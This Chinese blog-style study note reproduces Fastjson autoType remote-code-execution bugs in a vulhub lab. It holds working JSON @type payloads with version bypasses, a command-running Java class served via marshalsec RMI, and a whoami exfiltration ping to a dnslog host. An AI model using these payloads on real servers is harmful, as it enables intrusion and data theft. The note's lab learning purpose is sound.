FastJson遠端命令執行漏洞學習筆記

2022-09-04 06:17:12

FastJson遠端命令執行漏洞學習筆記

Fastjson簡介

fastjson用於將Java Bean序列化為JSON字串,也可以從JSON字串反序列化到JavaBean。fastjson.jar是阿里開發的一款專門用於Java開發的包,可以方便的實現json物件與JavaBean物件的轉換,實現JavaBean物件與json字串的轉換,實現json物件與json字串的轉換。

fastjson是java的一個庫,可以將java物件轉化為json格式的字串,也可以將json格式的字串轉化為java物件,提供了 toJSONString() 和 parseObject() 方法來將 Java 物件與 JSON 相互轉換。呼叫toJSONString方 法即可將物件轉換成 JSON 字串,parseObject 方法則反過來將 JSON 字串轉換成物件。

 //將字串轉化為物件
 JSONObject obj=JSON.parseObject(jsonStr);

JavaBean:

JavaBean 是特殊的 Java 類,使用 Java 語言書寫,並且遵守 JavaBean API 規範。JavaBean的特徵:

  • 提供一個預設的無參建構函式。

  • 需要被序列化並且實現了 Serializable 介面。

  • 可能有一系列可讀寫屬性。

  • 可能有一系列的 getter 或 setter 方法。

Fastjson遠端命令執行漏洞原理

Fastjson在解析json的過程中,支援使用autoType來範例化某一個具體的類,並用該類的set/get方法來存取屬性。

其在反序列化的時候,會進入parseField方法,進入該方法後,就會呼叫setValue(object,value)方法,會將獲取到的陣列物件,賦予到@type class中的對應屬性中。(在後面構造poc的時候詳細說)在這裡,就可能執行構造的惡意程式碼。從而造成程式碼執行。

通俗理解:漏洞利用fastjson autotype在處理json物件的時候,未對@type欄位進行完全的安全性驗證,攻擊者可以傳入危險類,並呼叫危險類中連線遠端主機,通過其中的惡意類執行程式碼。攻擊者通過這種方式,可以實現遠端程式碼執行漏洞的利用,獲取伺服器的敏感資訊洩露,甚至可以利用此漏洞進一步對伺服器資料進行更改,增加,刪除等操作,對伺服器造成巨大影響。

環境準備

1、安裝docker

 sudo apt update
 sudo apt install -y docker.io
 dockesystemclt enable docker --now
 sudo apt install docker-compose

2、安裝vulhub

github下載,解壓進入fastjson->1.2.24rce資料夾在這裡開啟終端(cd也行)

 sudo docker-compose build
 sudo docker-compose up -d

3、設定java8

下載java8

https://www.oracle.com/java/technologies/downloads/

 

 mkdir /opt/java
 tar zxvf jdk8u341-linux-x64.tar.gz
 
 vim /etc/profile
  末尾新增:
  export JAVA_HOME=/opt/java/jdk1.8.0_341
  export JRE_HOME=/opt/java/jdk1.8.0_341
  export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
  export PAHT=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
 source /etc/profile
 
 java -version
 顯示版本即設定成功

4、下載marshalsec

 git clone https://github.com/mbechler/marshalsec.git

5、安裝maven

下載maven

 apt-get install maven

使用maven編譯marshalsec成jar包

 cd marshalsec
 mvn clean package -DskipTests

漏洞復現

fastjson1.2.24-rce

靶機kali :192.168.255.130 攻擊機kali: 192.168.255.130

這裡也可以用兩個不同機器

開啟fastjson漏洞

 sudo docker-compose up -d
 這裡是因為之前我已經開過了

 

存取靶機,可以看到json格式的輸出

 

執行下面這條命令,使用 curl命令模擬json格式的POST請求,返回json格式的請求結果,沒報404,正常情況下說明存在該漏洞。

curl http://192.168.255.130:8090/ -H "Content-Type: application/json" --data '{"name":"xmp", "age":405}'

還可以通過burp抓包,post一個非json格式的資料,看報錯情況(但是這裡我沒有成功,暫時沒找到原因借用一下網圖)

 

編譯一個惡意類,這裡其實需要注意一下,有的kali許可權受限,不會執行commonds中的命令,比如這裡的這個如果沒有root許可權的話就執行不了,導致沒有結果。後面在加一個普通許可權即可有結果回顯的。

//fjsonxmp.java
import java.lang.Runtime;
import java.lang.Process;

public class fjsonxmp {

static {

try {
//執行時,是一個封裝了JVM程序的類。每一個JAVA程式實際上都是啟動了一個JVM程序,那麼每一個程序都是對應這一個Runtime範例,其範例是由JVM為其初始化的。

Runtime rt = Runtime.getRuntime();//取得Runtime類的範例

String[] commonds = {"touch", "/tmp/zcctest"};
//定義要執行的命令字串

Process pc = rt.exec(commonds);
//exec是執行本機的命令,它的返回值是一個程序,故用process 一個範例來接收,

pc.waitFor();
//返回該Process物件代表的程序的出口值

} catch (Exception e) {
//do nothing
}

}
}

然後,這裡是把檔案變為class位元組的,在JVM虛擬機器器中執行

javac fjsonxmp.java

 

搭建http服務傳輸惡意檔案

python2
python -m SimpleHTTPServer 80

python3
python -m http.server 80

 

開啟RMI服務

cd marshalsec

cd target

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.255.130/#fjsonxmp" 9999

 

 

 

使用burp抓包,並寫入poc

poc

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.255.130:9999/opt/fjsonxmp",
"autoCommit":true
}
}
fastjson序列化的時候,會把原始型別記錄下來
序列化後的字串中新增@type屬性,存放物件型別
首先我們找到需要呼叫的類com.sun.rowset.JdbcRowSetImpl,這個類一定會被載入
被攻擊的伺服器拿到這個惡意的資料就找rmi伺服器去執行命令
這個rmi伺服器相當於請求80埠伺服器中的fjsonxmp.class
從rmi請求中得到命令touch /tmp/zcctest
然後被攻擊的伺服器就回去執行命令
這裡舉個小例子來幫助理解

class Apple implements Fruit {
private Big_Decimal price;
//省略 setter/getter/toString等
}
class Banana implements Fruit {
private Big_Decimal price;
//省略 setter/getter/toString等
}

這兩個類在傳輸的時候 json格式是這樣的
"Fruit":{
price:50
}
這裡只說明瞭一個Fruit的price為50,可是卻不知道傳輸的是Banana還是Apple。這是利用autoType
新增@type欄位來存放物件型別
"Fruit":{
@type:Apple
price:50
}
假設這樣傳輸,就可以明確是Apple的price為50.

我們在找到需要呼叫的類:com.sun.rowset.JdbcRowSetImpl 這個類一定會被讀取載入 他就相當於Apple
dataSourceName 他就相當於 price對於Apple的情況。

 

 

這裡可以看到rmi 和 80 http服務 都收到了請求。但是因為沒許可權執行,所以沒有回顯結果。檔案未建立。

利用dnslog來回顯結果

修改惡意類

import java.lang.Runtime;
import java.lang.Process;

public class fjsonxmp {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commonds = {"/bin/sh","-c","ping user.'whoami'.bjdbwl.dnslog.cn"};

Process pc = rt.exec(commonds);

pc.waitFor();

} catch (Exception e) {
//do nothing
}

}
}

 

 

可以看到有請求

 

成功回顯,達到遠端任意指令執行。

fastjson1.2.41-rce

fastjson在載入到過程中,會在載入類的時候去掉className前面的L和最後的;,所以就有了如下的poc:

{
"b":{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}

從而湊出com.sun.rowset.JdbcRowSetImpl

fastjson1.2.42-rce

由於上一個版本只只過濾了L;,所以又可以通過雙寫繞過

{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}

fastjson1.2.43-rce

上一個版本中雙寫L和; 被繞過,所有又增加了一個是否以LL未開頭判斷,繞過的方法是在`目標類前面新增[

poc:

{
"b":{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}

fastjson1.2.47-rce

因為從1.2.45開始autotype是預設關閉的,因為之前開啟一直出現漏洞,但是關閉他也出現了。

因為來fastjson中有一個全域性快取,在類載入的時候,

  1. 如果autoType沒開啟,會先嚐試從mapping快取中獲取目標類,如果快取中有,則直接返回進入之後的反序列化流程。

  2. 如果autoType開啟,因為typeName為java.lang.Class不在黑名單,成功繞過檢測被解析為Class型別。

java.lang.Class在快取中肯定有,該類對應的deserializer為MiscCodec,反序列化時會取json串中的val值並載入這個val對應的類Class到全域性快取中。

{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://xx.x.xx.xx:9999/poc",
"autoCommit": true
}
}

 

總結

fastjson的漏洞其實就是fastjson autotype在處理json物件的時候,未對@type欄位進行完全的安全性驗證,攻擊者可以傳入危險類,並呼叫危險類中連線遠端主機,通過其中的惡意類執行程式碼。

 

 

筆記只做學習記錄分享。如有錯誤,請大家批評指正!

文章內容多來於

https://www.freebuf.com/articles/web/283585.html

https://www.freebuf.com/vuls/276512.html

如有侵權立刪。